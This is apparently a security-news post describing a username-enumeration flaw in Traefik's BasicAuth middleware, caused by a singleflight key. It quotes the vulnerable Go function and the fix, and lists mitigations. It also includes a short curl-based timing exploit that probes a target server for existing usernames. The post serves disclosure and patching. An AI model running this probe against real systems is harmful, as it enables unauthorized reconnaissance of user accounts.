Listen to this Post
The Traefik BasicAuth middleware deduplicates concurrent credential checks through singleflight.Group.
This design avoids hashing the same password many times at once.
From v3.6.11 onward, the singleflight key was derived from the submitted password plus the stored secret.
That made the key depend on server-side state.
If the username did not exist, secret was empty.
The key became len(password) + “:” + password.
If the username existed, the key became len(password) + “:” + password + secret_T.
Every non-existent username therefore collapsed onto one shared key.
Every configured username produced its own distinct key.
singleflight.Group.Do makes followers on an equal key block on the leader.
They return the leader’s in-flight result instead of computing their own hash.
An attacker can abuse this with attacker-controlled concurrency.
First, send a leader request with a junk username and a chosen password P.
Then, while that leader is still hashing, send a probe for target username T with the same password P.
If T does not exist, the probe shares the leader’s key.
The probe is coalesced and returns quickly.
If T exists, the probe has its own key.
The probe performs its own password hash and returns slowly.
The probe’s latency therefore reveals whether T exists.
This is the exact leak that the notFoundSecret dummy hash is meant to remove.
Sequential probing remains equalized because the dummy hash costs the same as a real hash.
Measured sequential ratios were 1.00x, 0.99x, 1.03x, and 0.99x.
The leak reappears only under attacker-controlled concurrency.
The current v3.7 head already contains the 8mrf singleflight fix.
The master branch has no later fix.
The affected code is pkg/middlewares/auth/basic_auth.go:125 in checkPassword.
The affected range is >= v3.6.11 through current v3.7 head and master.
Traefik v2 is not affected because its BasicAuth middleware does not use singleflight.
Digest authentication is not affected because it does not use singleflight.
Impact is limited to username enumeration.
No credential disclosure, authentication bypass, or result sharing across identities is possible.
DailyCVE Form:
Platform: Traefik BasicAuth Middleware
Version: v3.6.11+ v3.7 master
Vulnerability: Singleflight username enumeration
Severity: Medium
date: 2026-08-24
Prediction: Not yet known
What Undercode Say:
Analytics:
cd /Users/emile/go/src/github.com/traefik/traefik
go test -count=1 -run TestZZScanPoCJ15 -v ./pkg/middlewares/auth/…
go test -count=1 -run TestZZScanPoCJ15Costs -v ./pkg/middlewares/auth/…
go test -count=1 -run TestZZScanPoCJ15H2 -v ./pkg/middlewares/auth/…
func (b basicAuth) checkPassword(user, password string) bool {
secret := b.auth.Secrets(user, b.auth.Realm)
key := strconv.Itoa(len(password)) + “:” + password + secret
match, _, _ := b.singleflightGroup.Do(key, func() (any, error) {
if secret == “” {
_ = b.checkSecret(password, b.notFoundSecret)
return false, nil
}
return b.checkSecret(password, secret), nil
})
return match.(bool)
}
key := strconv.Itoa(len(user)) + “:” + user + “:” + password
Exploit: (Educational Purposes!)
D=$(curl -o /dev/null -s -w “%{time_total}\n” -u junk:P http://target/)
curl -o /dev/null -s -u junk:P http://target/ &
sleep $(echo “$D 0.9” | bc)
curl -o /dev/null -s -w “absent %{time_total}\n” -u bob:P http://target/
curl -o /dev/null -s -w “present %{time_total}\n” -u alice:P http://target/
Protection: from this CVE
Remove secret from singleflight key
Qualify key by username
Keep dummy-hash inside closure
Restore timing-attacks admonition
Upgrade v3.6 users to v3.7.13
Impact:
Username enumeration only
No credential disclosure
No authentication bypass
No result sharing across identities
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
